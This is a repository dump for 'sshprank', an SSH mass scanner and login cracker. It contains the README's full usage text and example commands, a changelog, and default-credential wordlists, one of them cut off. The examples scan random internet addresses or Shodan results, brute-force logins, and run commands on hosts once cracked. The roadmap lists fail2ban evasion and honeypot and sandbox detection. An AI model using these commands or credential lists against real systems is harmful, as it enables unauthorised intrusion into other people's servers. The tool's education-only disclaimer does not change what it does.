[
  {
    "path": ".gitignore",
    "content": ".bash_history\nbuild.sh\nclean.sh\n*.db\n.DS_Store\n.git\nid_dsa\nid_rsa\n*.key\n*.log\n*.o\nowned.txt\npasswd\npaused.conf\n*.pyc\n__pycache__\nshadow\nsshds.txt\nsshprank_session.json\nrandom_targets.txt\n*.swn\n*.swo\n*.swp\ntags\n.vim.session\n.zhistory\n.zsh_history\n"
  },
  {
    "path": "README.md",
    "content": "# Description\n\nA fast SSH mass-scanner, login cracker, banner grabber and password auth\nchecker tool using the python-masscan and shodan module.\n\n# Usage\n\n```\n[ hacker@blackarch ~ ]$ sshprank -H\n              __                           __\n   __________/ /_  ____  _________ _____  / /__\n  / ___/ ___/ __ \\/ __ \\/ ___/ __ `/ __ \\/ //_/\n (__  |__  ) / / / /_/ / /  / /_/ / / / / ,<\n/____/____/_/ /_/ .___/_/   \\__,_/_/ /_/_/|_|\n               /_/\n\n      --== [ by nullsecurity.net ] ==--\n\nusage\n\n  sshprank <mode> [opts] | <misc>\n\nmode options\n\n  -h <hosts[:ports]>    - single host, cidr, ip range or host list file to\n                          crack. multiple ports can be separated by comma,\n                          e.g.: 127.0.0.1:22,222,2022 or 192.168.1.0/24:22\n                          or 192.168.1.10-192.168.1.50:22 or 10.0.0.1-50\n                          (default port: 22)\n\n  -m <opts> [-r <num>]  - pass arbitrary masscan opts, portscan given hosts and\n                          crack for logins. found sshd services will be saved to\n                          'sshds.txt' in supported format for '-h' option and\n                          even for '-b'. use '-r' for generating random ipv4\n                          addresses rather than scanning given hosts. these\n                          options are always on: '-sS -oX - --open'.\n                          NOTE: if you intent to use the '--banner' option then\n                          you need to specify '--source-ip <some_ipaddr>' which\n                          is needed by masscan. better check masscan options!\n\n  -s <str;page;lim>     - search ssh servers using shodan and crack logins.\n                          see examples below. note: you need a better API key\n                          than this one i offer in order to search more than 100\n                          (= 1 page) ssh servers. so if you use this one use\n                          '1' for 'page'.\n\n  -b <hosts[:ports]>    - grab sshd banner from given target(s)\n                          (default port: 22)\n                          format: same as '-h' option\n\n  -p <hosts[:ports]>    - check sshd(s) for password auth support\n                          (default port: 22)\n                          format: same as '-h' option\n\nscan options\n\n  -r <num>              - generate <num> random ipv4 addresses, check for open\n                          sshd port and crack for login (only with -m option!)\n\ncredential options\n\n  -U <user|file>        - single username or user list (default: root)\n  -P <pass|file>        - single password or password list (default: root)\n  -c <file>             - list of user:pass combination\n\nbrute options\n\n  -e                    - exclude host after first login was found. continue\n                          with other hosts instead\n  -E                    - exit sshprank completely after first login was found\n  -z                    - shuffle target list randomly before cracking\n                          (only with -h <file>). saves to 'random_targets.txt'\n  -Z <num>              - random brute: pick random target + creds each attempt.\n                          <num> total attempts, 0 = infinite (use with -h, -U/-P)\n\nexec options\n\n  -C <cmd|file>         - read commands from file (line by line) or execute a\n                          single command on host if login was cracked\n  -N                    - do not output ssh command results\n\nthread options\n\n  -x <num>              - num threads for parallel host crack (default: 50)\n  -S <num>              - num threads for parallel service crack (default: 20)\n  -X <num>              - num threads for parallel login crack (default: 5)\n  -B <num>              - num threads for parallel banner grabbing (default: 70)\n\ntimeout options\n\n  -T <sec>              - num sec for auth and connect timeout (default: 5s)\n  -R <sec>              - num sec for (banner) read timeout (default: 3s)\n\noutput options\n\n  -o <file>             - write found logins to file. format:\n                          <host>:<port>:<user>:<pass> (default: owned.txt)\n  -v                    - verbose mode. show found logins, sshds, etc.\n                          (default: off)\n\nmisc options\n\n  -i <str>              - spoof ssh client version string sent to sshd\n                          (default: paramiko's default version string)\n  -w <file>             - session file: if it exists, restore progress from\n                          it (skip already-tried creds). on ctrl+c / -E,\n                          state is auto-saved to ./sshprank_session.json\n                          (or to <file> if -w was given). pass it back via\n                          -w to resume.\n  -H                    - print help\n  -V                    - print version information\n\nexamples\n\n  # crack targets from a given list with user admin, pw-list and 20 host-threads\n  $ sshprank -h sshds.txt -U admin -P /tmp/passlist.txt -x 20\n\n  # first scan then crack from founds ssh services using 'root:admin'\n  $ sudo sshprank -m '-p22,2022 --rate 5000 --source-ip 192.168.13.37 \\\n    --range 192.168.13.1/24' -P admin\n\n  # generate 1k random ipv4 addresses, then port-scan (tcp/22 here) with 1k p/s\n  # and crack logins using 'root:root' on found sshds\n  $ sudo sshprank -m '-p22 --rate=1000' -r 1000 -v\n\n  # search 50 ssh servers via shodan and crack logins using 'root:root' against\n  # found sshds\n  $ sshprank -s 'SSH;1;50'\n\n  # grab banners and output to file with format supported for '-h' option\n  $ sshprank -b hosts.txt > sshds2.txt\n\n  # check if sshds support password auth\n  $ sshprank -p sshds.txt -v\n\n  # shuffle target list and crack\n  $ sshprank -h sshds.txt -z -U root -P /tmp/passes.txt\n\n  # random brute: 500 random attempts from ip/user/pass lists\n  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 500\n\n  # random brute infinite (ctrl+c to stop)\n  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -Z 0\n\n  # spoof ssh client version and crack\n  $ sshprank -h sshds.txt -i 'SSH-2.0-OpenSSH_8.9p1'\n\n  # check pwauth with spoofed version\n  $ sshprank -p sshds.txt -i 'SSH-2.0-OpenSSH_7.4' -v\n\n  # session file: ctrl+c, then run again to resume\n  $ sshprank -h sshds.txt -U /tmp/users.txt -P /tmp/passes.txt -w sess.json\n```\n\n# Author\n\nnoptrix\n\n# Notes\n\n- quick'n'dirty code\n- sshprank is already packaged and available for [BlackArch\n  Linux](https://www.blackarch.org/)\n- My master-branches are always stable; dev-branches are created for current\n  work.\n- All of my public stuff you find are officially announced and published via\n  [nullsecurity.net](https://www.nullsecurity.net).\n\n# License\n\nCheck docs/LICENSE.\n\n# Disclaimer\nWe hereby emphasize, that the hacking related stuff found on\n[nullsecurity.net](http://nullsecurity.net/) are only for education purposes.\nWe are not responsible for any damages. You are responsible for your own\nactions.\n"
  },
  {
    "path": "docs/LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2012-2025 noptrix\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n\n"
  },
  {
    "path": "docs/TODO",
    "content": "===> 1.x.x\n\n  [ ] new feature\n      anti fail2ban\n  [ ] new feature\n      honeypot detection system\n  [ ] new featrue\n      sandbox detection\n\n\n===> 1.7.0\n\n  [x] new feature\n      live progress display in quiet mode: '[+] cracking X/Y (XX.XX%)'\n      based on userlist*passlist + combolist; '[+] cracking X attempts' for\n      -Z 0 infinite mode\n  [x] new feature\n      session save/restore via -w <file>: skip already-tried creds on resume\n      after Ctrl+C / -E / completion. JSON file with iteration position per\n      (host, port) + excluded sets + sha256 hashes for lax mismatch warning\n  [x] update\n      cidr range support for -h/-p, e.g. '192.168.1.0/24:22,2022'.\n      expanded into a temp host list, auto-cleaned on exit\n  [x] update\n      ip range support for -h/-p, e.g. '192.168.1.10-192.168.1.50:22'\n      or short octet form '10.0.0.1-50'. expanded into a temp host list,\n      auto-cleaned on exit\n  [x] update\n      -b now accepts the same target formats as -h: single host, host\n      list file, cidr, ip range. help text simplified for -b/-p\n  [x] update\n      remote command exec hardened: each cmd in own try/except, stdin\n      shutdown_write to unblock stdin-reading commands\n  [x] update\n      check_pwauth probe creds 'nobody:x' -> '__sshprank_probe__:<rand>'\n      to avoid collisions with real accounts\n  [x] update\n      dropped dead imports (as_completed, ALL_COMPLETED, deque) and\n      redundant 'global' decls\n  [x] update\n      stabilized opts default types: targets {} (not []), targetlist\n      None (not [])\n  [x] update\n      cidr/range expansion capped at 1M hosts to prevent oom/disk dos on\n      typos like /0 or huge ranges\n  [x] update\n      sigterm now triggers session save (handler raises keyboardinterrupt)\n  [x] update\n      session auto-saves to ./sshprank_session.json on ctrl+c / -E even\n      without -w. -w is only required to resume. -p/-b/-Z modes opt-out\n  [x] bugfix\n      double ctrl+c during cleanup produced ugly threading shutdown\n      traceback - finally now ignores signals during cleanup, then\n      os._exit bypasses the threadpool join wait\n  [x] update\n      skip duplicate initial root:root attempt when -U/-P/-c list given;\n      _creds_per_port() count adjusted accordingly\n  [x] bugfix\n      -p with single host wrongly dispatched to crack_single() - reordered\n      main() dispatch by mode flag first\n  [x] bugfix\n      -i ssh-version spoof had no effect - now sets Transport._CLIENT_ID\n      (instance __init__ overwrites local_version)\n  [x] bugfix\n      malformed combo lines killed process - now warned and skipped\n\n\n===> 1.6.1\n\n  [x] bugfix\n      false-positive logins on banner-echo sshds - added open_session() check\n  [x] bugfix\n      -e race losing first-login claim - fixed with lock + double-check\n  [x] bugfix\n      getopt dropped args after first non-option - switched to gnu_getopt +\n      reject leftover positional args\n  [x] bugfix\n      OOM on big target lists - bounded ThreadPool submission via\n      wait(FIRST_COMPLETED)\n  [x] bugfix\n      read_file() peaked 3-4x file size via mmap pipeline - replaced with\n      plain line iteration\n  [x] update\n      exec_command() hardcoded timeout=2 - now uses opts['ctimeout']\n  [x] bugfix\n      excluded[host] race/wipe in run_threads + crack_rand_brute - fixed\n      with setdefault\n  [x] bugfix\n      empty target lines produced ghost connects - skip them\n  [x] bugfix\n      log_targets() os._exit on write error killed process - now warn +\n      continue; also 'a+' -> 'a'\n  [x] update\n      bare except: in read_file/grab_banner/gen_ipv4addr - replaced with\n      specific exceptions\n  [x] update\n      crack_rand_brute() spawned pool per batch - one persistent pool with\n      bounded submission\n  [x] update\n      check_pwauth() re-imported paramiko.transport per call - hoisted to\n      module-level\n  [x] update\n      validate -x/-S/-X/-B (>=1), -r (>=1), -Z (>=0) - clear error instead\n      of silent no-op\n\n\n===> 1.6.0\n\n  [x] update\n      updated lists/* (optimized user/pws/combo wordlists: added cloud/devops\n      accounts, modern pw patterns, cross-combos like root:toor, pi:raspberry)\n  [x] bugfix\n      combo list parsing used split(':') causing passwords containing ':' to be\n      truncated - fixed with split(':', 1)\n  [x] bugfix\n      read_file() used .split() which broke passwords/usernames containing\n      spaces - fixed with .splitlines()\n  [x] bugfix\n      -e option only excluded the specific port instead of the entire host -\n      fixed with separate excluded_hosts set for host-level exclusion\n  [x] bugfix\n      -N with single -C command never executed the command at all -\n      exec_command() was inside the cmd_no_out guard\n  [x] bugfix\n      log_targets() was not thread-safe - concurrent login finds could corrupt\n      the output file - fixed with threading lock\n  [x] bugfix\n      grab_banner() crashed on non-UTF-8 banner bytes - fixed with\n      errors='replace'\n  [x] bugfix\n      check_pwauth() leaked socket when Transport() failed - added sock.close()\n      to finally block\n  [x] bugfix\n      portscan() error message printed literal 'str(err)' instead of the actual\n      error string\n  [x] bugfix\n      shodan page/limit passed as strings instead of int to api.search()\n  [x] bugfix\n      crack_rand_brute() (-Z) ignored combolist (-c), silently fell back to\n      'root:root'\n  [x] bugfix\n      -C file mode sent commands with trailing newline to exec_command()\n  [x] bugfix\n      -C stderr output was never read/shown - remote errors were silently\n      swallowed\n  [x] bugfix\n      -C file mode variable 'line' shadowed by inner output loop - refactored to\n      use 'cmd' and 'out'/'err' loop vars\n  [x] new feature:\n      check sshd for password auth support (-p)\n  [x] update\n      renamed credential options: -u -> -U, -p -> -P\n  [x] update\n      dynamic kex/cipher/digest coverage via paramiko internals\n  [x] new feature\n      add option to spoof client (paramiko) ssh-version (-i)\n\n\n===> 1.5.0\n\n  [x] randomize ipfile (sort as random ips.txt)\n  [x] random brute (take random ip from ips and random user:pass from user\n      files ) and brute it\n  [x] categorized help options (mode, scan, credential, brute, exec, thread,\n      timeout, output options)\n  [x] renamed 'modes' -> 'mode options', 'misc' -> 'misc options' for consistency\n\n\n===> 1.4.4\n\n  [x] bugfix\n      port variable leak in run_threads() - inner executor was outside the port\n      loop, causing credential lists to only be tested against the last port\n      when multiple ports were specified\n  [x] bugfix\n      NameError on undefined 'futures' in run_threads() when -E was used -\n      removed dead code block (crack_login() already calls os._exit())\n  [x] bugfix\n      grab_banner() crash when create_connection() fails - s was unassigned in\n      finally block\n  [x] bugfix\n      publickey-only port exclusion was gated behind verbose mode, now always\n      applied\n  [x] update\n      uncommented SSHException and Exception logging (verbose mode)\n\n\n===> 1.4.3\n\n  [x] bugfix\n      fixed Python's \"SyntaxWarning\"\n  [x] update\n      updated COPYRIGHT info\n\n\n===> 1.4.2\n\n  [x] bugfix\n      banner option\n  [x] update\n      updated lists/*\n\n\n===> 1.4.1\n\n  [x] update\n      updated help() and README.md (old options were present)\n\n\n===> 1.4.0\n\n  [x] update\n      updated lists/* (added more default passwords and usernames)\n  [x] new feature\n      add 'exclude host after first login was found' option (-e)\n  [x] new feature\n      add 'exit sshprank after first login was found' option (-E)\n  [x] update\n      swap options: '-C' -> '-c'\n  [x] update\n      merge options: '-l' -> '-h', '-U' -> '-u', '-P' -> '-p'\n\n\n===> 1.3.5\n\n  [x] update\n      remove pf.close() call\n\n\n===> 1.3.4\n\n  [x] update\n      remove open() calls\n\n\n===> 1.3.3\n\n  [x] update\n      use mmap to read wordlist files\n\n\n===> 1.3.2\n\n  [x] update\n      decrease default hosts threads num\n\n\n===> 1.3.1\n\n  [x] bugfix\n      close file descriptor...\n\n\n===> 1.3.0\n\n  [x] update\n      updated default thread nums for host, service and login.\n  [x] new feature\n      add new option to not output ssh command results ('-N')\n  [x] new feature\n      read and run commands from file on target (github: #5)\n  [x] bugfix\n      fix high memory usage (github: #9)\n\n\n===> 1.2.3\n\n  [x] update\n      increase default auth and connect timeout\n  [x] update\n      use 'info' for 'saved found sshds.txt' rather than 'good'\n  [x] update\n      use status() for shodan_search()\n  [x] update\n      updated short description in script file\n\n\n===> 1.2.2\n\n  [x] update\n      call log() only in one place after AuthenticationException occurs\n  [x] update\n      skip further actions if targets file could not be read ('-l' option)\n\n\n===> 1.2.1\n\n  [x] update\n      only print exclusion infos in verbose mode\n  [x] update\n      use spin() output for scanning and cracking targets\n  [x] update\n      update wordings in the examples\n\n\n===> 1.2.0\n\n  [x] update\n      exclude targets if service is not running or pubkey auth only is supported\n\n\n===> 1.1.3\n\n  [x] update\n      print small info if login found (for non-verbose mode)\n  [x] new feature\n      add uid (root) check for '-m' option\n  [x] update\n      change wordings a bit\n\n\n===> 1.1.0\n\n  [x] bugfix\n      fix color codes\n  [x] update\n      use new python format style (f'{foo}')\n  [x] update\n      add leet and important ascii banner\n\n\n===> 1.0.0\n\n  [x] update\n      mark stable + release\n\n\n===> 0.0.3\n\n  [x] new feature\n      implement remote ssh command exec\n  [x] new feature\n      implement random target cracking\n  [x] new feature\n      implement read timeout for banner grabbing\n  [x] update\n      print found login only if '-v' was chosen\n  [x] update\n      os exit on found login\n  [x] update\n      remove colorama bullshit\n  [x] bugfix\n      fix banner grab issue (non-banner sshds, e.g. 'open' only were ignored)\n  [x] update\n      by default don't use masscan's --banner option\n\n\n===> 0.0.2\n\n  [x] update\n      use deque() rather than lists for MT\n\n\n===> 0.0.1\n\n  [x] initial\n      initial release\n\n"
  },
  {
    "path": "docs/requirements.txt",
    "content": "paramiko\npython-masscan\nshodan\n"
  },
  {
    "path": "lists/combo.list",
    "content": "accounting:accounting\nadmin:1234\nadmin:12345\nadmin:123456\nadmin:admin\nadmin:admin@123\nadmin:admin123\nadmin:password\nansible:ansible\napache:apache\nbackup:backup\ncentos:centos\ndebian:debian\ndefault:default\ndeploy:deploy\ndev:dev\ndeveloper:developer\nec2-user:ec2-user\nelastic:elastic\nftp:ftp\nftpuser:ftpuser\nfwadmin:fwadmin\ngit:git\nguest01:guest01\nguest1:guest1\nguest:guest\nhadoop:hadoop\nhttp:http\ninfo:info\ninstaller:installer\njenkins:jenkins\nlogin:login\nmailadmin:mailadmin\nmail:mail\nmaintainer:maintainer\nmanager:manager\nminecraft:minecraft\nmonitor:monitor\nmysql:mysql\nnagios:nagios\nnginx:nginx\nnobody:nobody\nnone:none\noperator:operator\nop:op\noracle:oracle\npi:pi\npi:raspberry\npostgres:postgres\npower:power\nreadonly:readonly\nroot:1234\nroot:12345\nroot:123456\nroot:admin\nroot:password\nroot:root\nroot:toor\nsetup:setup\nssh:ssh\nstudent:student\nsuperadmin:superadmin\nsuperuser:superuser\nsupport:support\nsysadmin:sysadmin\nsys:sys\nsystem:system\nteacher:teacher\ntester:tester\ntest:test\ntest:test123\ntomcat:tomcat\ntoor:root\ntoor:toor\nubuntu:ubuntu\nuser01:user01\nuser1:user1\nuser:password\nuser:user\nvagrant:vagrant\nweb01:web01\nweb1:web1\nwebadmin:webadmin\nwebmaster:webmaster\nweb:web\nwww-data:www-data\nwww:www\nzabbix:zabbix\n"
  },
  {
    "path": "lists/pws.list",
    "content": "\n!!!!\n....\n$ummer!\n$ummer#\n$ummer.\n$ummer?\n$ummer@\n$ummer1\n$ummer1!\n$ummer1?\n$ummer12\n$ummer12!\n$ummer12?\n$ummer123\n$ummer123!\n$ummer123?\n$ummer2\n$ummer2!\n$ummer2?\n$ummer321\n$ummer321!\n$ummer321?\n0000\n000000\n00000000\n1$ummer\n1$ummer!\n1$ummer?\n1111\n111111\n12$ummer\n12$ummer!\n12$ummer?\n123$ummer\n123$ummer!\n123$ummer?\n1234\n12345\n123456\n1234567\n12345678\n123456789\n1234567890\n1234root\n1234test\n123admin\n123autumn\n123autumn!\n123autumn?\n123Autumn\n123Autumn!\n123Autumn?\n123AUTUMN\n123AUTUMN!\n123AUTUMN?\n123demo\n123dev\n123fall\n123fall!\n123fall?\n123Fall\n123Fall!\n123Fall?\n123FALL\n123FALL!\n123FALL?\n123f@ll\n123f@ll!\n123f@ll?\n123F@ll\n123F@ll!\n123F@ll?\n123login\n123manager\n123mysql\n123none\n123pa$$word\n123pa$$word!\n123pa$$word?\n123Pa$$word\n123Pa$$word!\n123Pa$$word?\n123pass\n123passw0rd\n123passw0rd!\n123passw0rd?\n123Passw0rd\n123Passw0rd!\n123Passw0rd?\n123password\n123password!\n123password?\n123Password\n123Password!\n123Password?\n123PASSWORD\n123PASSWORD!\n123PASSWORD?\n123postgres\n123p@ssword\n123p@ssword!\n123p@ssword?\n123P@ssword\n123P@ssword!\n123P@ssword?\n123root\n123summer\n123summer!\n123summer?\n123Summer\n123Summer!\n123Summer?\n123SUMMER\n123SUMMER!\n123SUMMER?\n123sys\n123system\n123test\n123tomcat\n123toor\n123user\n123@utumn\n123@utumn!\n123@utumn?\n123web\n123winter\n123winter!\n123winter?\n123Winter\n123Winter!\n123Winter?\n123WINTER\n123WINTER!\n123WINTER?\n123www\n12autumn\n12autumn!\n12autumn?\n12Autumn\n12Autumn!\n12Autumn?\n12AUTUMN\n12AUTUMN!\n12AUTUMN?\n12fall\n12fall!\n12fall?\n12Fall\n12Fall!\n12Fall?\n12FALL\n12FALL!\n12FALL?\n12f@ll\n12f@ll!\n12f@ll?\n12F@ll\n12F@ll!\n12F@ll?\n12pa$$word\n12pa$$word!\n12pa$$word?\n12Pa$$word\n12Pa$$word!\n12Pa$$word?\n12passw0rd\n12passw0rd!\n12passw0rd?\n12Passw0rd\n12Passw0rd!\n12Passw0rd?\n12password\n12password!\n12password?\n12Password\n12Password!\n12Password?\n12PASSWORD\n12PASSWORD!\n12PASSWORD?\n12p@ssword\n12p@ssword!\n12p@ssword?\n12P@ssword\n12P@ssword!\n12P@ssword?\n12summer\n12summer!\n12summer?\n12Summer\n12Summer!\n12Summer?\n12SUMMER\n12SUMMER!\n12SUMMER?\n12@utumn\n12@utumn!\n12@utumn?\n12winter\n12winter!\n12winter?\n12Winter\n12Winter!\n12Winter?\n12WINTER\n12WINTER!\n12WINTER?\n1autumn\n1autumn!\n1autumn?\n1Autumn\n1Autumn!\n1Autumn?\n1AUTUMN\n1AUTUMN!\n1AUTUMN?\n1fall\n1fall!\n1fall?\n1Fall\n1Fall!\n1Fall?\n1FALL\n1FALL!\n1FALL?\n1f@ll\n1f@ll!\n1f@ll?\n1F@ll\n1F@ll!\n1F@ll?\n1pa$$word\n1pa$$word!\n1pa$$word?\n1Pa$$word\n1Pa$$word!\n1Pa$$word?\n1pa$$word1\n1Pa$$word1\n1pa$$word2\n1Pa$$word2\n1pa$$word3\n1Pa$$word3\n1passw0rd\n1passw0rd!\n1passw0rd?\n1Passw0rd\n1Passw0rd!\n1Passw0rd?\n1passw0rd1\n1Passw0rd1\n1passw0rd2\n1Passw0rd2\n1passw0rd3\n1Passw0rd3\n1password\n1password!\n1password?\n1Password\n1Password!\n1Password?\n1PASSWORD\n1PASSWORD!\n1PASSWORD?\n1password1\n1Password1\n1PASSWORD1\n1password2\n1Password2\n1PASSWORD2\n1password3\n1Password3\n1PASSWORD3\n1p@ssword\n1p@ssword!\n1p@ssword?\n1P@ssword\n1P@ssword!\n1P@ssword?\n1p@ssword1\n1P@ssword1\n1p@ssword2\n1P@ssword2\n1p@ssword3\n1P@ssword3\n1q2w3e4r\n1q2w3e4r!\n1summer\n1summer!\n1summer?\n1Summer\n1Summer!\n1Summer?\n1SUMMER\n1SUMMER!\n1SUMMER?\n1@utumn\n1@utumn!\n1@utumn?\n1winter\n1winter!\n1winter?\n1Winter\n1Winter!\n1Winter?\n1WINTER\n1WINTER!\n1WINTER?\n2$ummer\n2$ummer!\n2$ummer?\n2020\n2021\n2022\n2023\n2024\n2025\n2222\n2autumn\n2autumn!\n2autumn?\n2Autumn\n2Autumn!\n2Autumn?\n2AUTUMN\n2AUTUMN!\n2AUTUMN?\n2fall\n2fall!\n2fall?\n2Fall\n2Fall!\n2Fall?\n2FALL\n2FALL!\n2FALL?\n2f@ll\n2f@ll!\n2f@ll?\n2F@ll\n2F@ll!\n2F@ll?\n2pa$$word\n2pa$$word!\n2pa$$word?\n2Pa$$word\n2Pa$$word!\n2Pa$$word?\n2pa$$word1\n2Pa$$word1\n2pa$$word2\n2Pa$$word2\n2pa$$word3\n2Pa$$word3\n2passw0rd\n2passw0rd!\n2passw0rd?\n2Passw0rd\n2Passw0rd!\n2Passw0rd?\n2passw0rd1\n2Passw0rd1\n2passw0rd2\n2Passw0rd2\n2passw0rd3\n2Passw0rd3\n2password\n2password!\n2password?\n2Password\n2Password!\n2Password?\n2PASSWORD\n2PASSWORD!\n2PASSWORD?\n2password1\n2Password1\n2PASSWORD1\n2password2\n2Password2\n2PASSWORD2\n2password3\n2Password3\n2PASSWORD3\n2p@ssword\n2p@ssword!\n2p@ssword?\n2P@ssword\n2P@ssword!\n2P@ssword?\n2p@ssword1\n2P@ssword1\n2p@ssword2\n2P@ssword2\n2p@ssword3\n2P@ssword3\n2summer\n2summer!\n2summer?\n2Summer\n2Summer!\n2Summer?\n2SUMMER\n2SUMMER!\n2SUMMER?\n2@utumn\n2@utumn!\n2@utumn?\n2winter\n2winter!\n2winter?\n2Winter\n2Winter!\n2Winter?\n2WINTER\n2WINTER!\n2WINTER?\n321$ummer\n321$ummer!\n321$ummer?\n321autumn\n321autumn!\n321autumn?\n321Autumn\n321Autumn!\n321Autumn?\n321AUTUMN\n321AUTUMN!\n321AUTUMN?\n321fall\n321fall!\n321fall?\n321Fall\n321Fall!\n321Fall?\n321FALL\n321FALL!\n321FALL?\n321f@ll\n321f@ll!\n321f@ll?\n321F@ll\n321F@ll!\n321F@ll?\n321pa$$word\n321pa$$word!\n321pa$$word?\n321Pa$$word\n321Pa$$word!\n321Pa$$word?\n321passw0rd\n321passw0rd!\n321passw0rd?\n321Passw0rd\n321Passw0rd!\n321Passw0rd?\n321password\n321password!\n321password?\n321Password\n321Password!\n321Password?\n321PASSWORD\n321PASSWORD!\n321PASSWORD?\n321p@ssword\n321p@ssword!\n321p@ssword?\n321P@ssword\n321P@ssword!\n321P@ssword?\n321summer\n321summer!\n321summer?\n321Summer\n321Summer!\n321Summer?\n321SUMMER\n321SUMMER!\n321SUMMER?\n321@utumn\n321@utumn!\n321@utumn?\n321winter\n321winter!\n321winter?\n321Winter\n321Winter!\n321Winter?\n321WINTER\n321WINTER!\n321WINTER?\n3333\n3pa$$word\n3Pa$$word\n3pa$$word1\n3Pa$$word1\n3pa$$word2\n3Pa$$word2\n3pa$$word3\n3Pa$$word3\n3passw0rd\n3Passw0rd\n3passw0rd1\n3Passw0rd1\n3passw0rd2\n3Passw0rd2\n3passw0rd3\n3Passw0rd3\n3password\n3Password\n3PASSWORD\n3password1\n3Password1\n3PASSWORD1\n3password2\n3Password2\n3PASSWORD2\n3password3\n3Password3\n3PASSWORD3\n3p@ssword\n3P@ssword\n3p@ssword1\n3P@ssword1\n3p@ssword2\n3P@ssword2\n3p@ssword3\n3P@ssword3\n4444\n5555\n654321\n6666\n7777\n8888\n9999\nabc123\naccounting\nadmin\nadmin@123\nadmin123\nAdmin123\nAdmin123!\nadmin2023\nadmin2024\nadmin2025\nansible\napache\nasdf\nasdf123\nasdf1234\nasdfg\nasdfg1234\nasdfg12345\nautumn\nautumn!\nautumn#\nautumn.\nautumn?\nautumn@\nAutumn\nAutumn!\nAutumn#\nAutumn.\nAutumn?\nAutumn@\nAUTUMN!\nAUTUMN#\nAUTUMN.\nAUTUMN?\nAUTUMN@\nautumn1\nautumn1!\nautumn1?\nAutumn1\nAutumn1!\nAutumn1?\nAUTUMN1\nAUTUMN1!\nAUTUMN1?\nautumn12\nautumn12!\nautumn12?\nAutumn12\nAutumn12!\nAutumn12?\nAUTUMN12\nAUTUMN12!\nAUTUMN12?\nautumn123\nautumn123!\nautumn123?\nAutumn123\nAutumn123!\nAutumn123?\nAUTUMN123\nAUTUMN123!\nAUTUMN123?\nautumn2\nautumn2!\nautumn2?\nAutumn2\nAutumn2!\nAutumn2?\nAUTUMN2\nAUTUMN2!\nAUTUMN2?\nautumn321\nautumn321!\nautumn321?\nAutumn321\nAutumn321!\nAutumn321?\nAUTUMN321\nAUTUMN321!\nAUTUMN321?\nbackup\nblack\nblack1\nblack1!\nblack123\nblack123!\nblue\nblue1\nblue1!\nblue123\nblue123!\nchangeme\nchangeme1\nchangeme123\nChangeme123!\ndebian\ndefault\ndemo\ndemo123\ndemos\ndeploy\ndev\ndev123\ndragon\nelastic\nfall!\nfall#\nfall.\nfall?\nfall@\nFall!\nFall#\nFall.\nFall?\nFall@\nFALL!\nFALL#\nFALL.\nFALL?\nFALL@\nfall1\nfall1!\nfall1?\nFall1\nFall1!\nFall1?\nFALL1\nFALL1!\nFALL1?\nfall12\nfall12!\nfall12?\nFall12\nFall12!\nFall12?\nFALL12\nFALL12!\nFALL12?\nfall123\nfall123!\nfall123?\nFall123\nFall123!\nFall123?\nFALL123\nFALL123!\nFALL123?\nfall2\nfall2!\nfall2?\nFall2\nFall2!\nFall2?\nFALL2\nFALL2!\nFALL2?\nfall321\nfall321!\nfall321?\nFall321\nFall321!\nFall321?\nFALL321\nFALL321!\nFALL321?\nf@ll!\nf@ll#\nf@ll.\nf@ll?\nf@ll@\nF@ll!\nF@ll#\nF@ll.\nF@ll?\nF@ll@\nf@ll1\nf@ll1!\nf@ll1?\nF@ll1\nF@ll1!\nF@ll1?\nf@ll12\nf@ll12!\nf@ll12?\nF@ll12\nF@ll12!\nF@ll12?\nf@ll123\nf@ll123!\nf@ll123?\nF@ll123\nF@ll123!\nF@ll123?\nf@ll2\nf@ll2!\nf@ll2?\nF@ll2\nF@ll2!\nF@ll2?\nf@ll321\nf@ll321!\nf@ll321?\nF@ll321\nF@ll321!\nF@ll321?\nftp\nftpuser\nfuck!\nfuck1\nfuck1!\nFuck1\nfuck123!\nFuck123\nFuck123!\nfuckoff\nfuckoff!\nFuckOff\nfuckoff1\nfuckoff1!\nfuckoff123\nfuckoff123!\nfuckyou\nfuckyou!\nFuckYou\nFuckYou!\nFUCKYOU!\nFUCKYOU1!\nFuckYou123!\nFUCKYOU123\nfwadmin\ngit\ngold\ngold1\ngold1!\ngold123\ngold123!\ngreen\nguest\nguest01\nguest1\nhadoop\nhttp\niloveyou\ninstaller\njenkins\nletmein\nlinux\nLinux\nlinux123\nlogin\nlogin!\nlogin123\nlogin1234\nmail\nmailadmin\nmaintainer\nmanager\nmanager123\nmaster\nMaster\nmaster1\nmaster1!\nMaster1\nMaster1!\nmaster123\nmaster123!\nMaster123\nMaster123!\nminecraft\nmonitor\nmonkey\nmysql\nmysql123\nnagios\nnginx\nnobody\nnone\nnone123\nop\noperator\noracle\norange\norange1\norange1!\norange123\norange123!\nP@$$w0rd\nP@$$word\npa$$word\npa$$word!\npa$$word#\npa$$word.\npa$$word?\npa$$word@\nPa$$word\nPa$$word!\nPa$$word#\nPa$$word.\nPa$$word?\nPa$$word@\npa$$word1\npa$$word1!\npa$$word1?\nPa$$word1\nPa$$word1!\nPa$$word1?\npa$$word12\npa$$word12!\npa$$word12?\nPa$$word12\nPa$$word12!\nPa$$word12?\npa$$word123\npa$$word123!\npa$$word123?\nPa$$word123\nPa$$word123!\nPa$$word123?\npa$$word2\npa$$word2!\npa$$word2?\nPa$$word2\nPa$$word2!\nPa$$word2?\npa$$word3\nPa$$word3\npa$$word321\npa$$word321!\npa$$word321?\nPa$$word321\nPa$$word321!\nPa$$word321?\npass!\nPASS\npass@123\npass12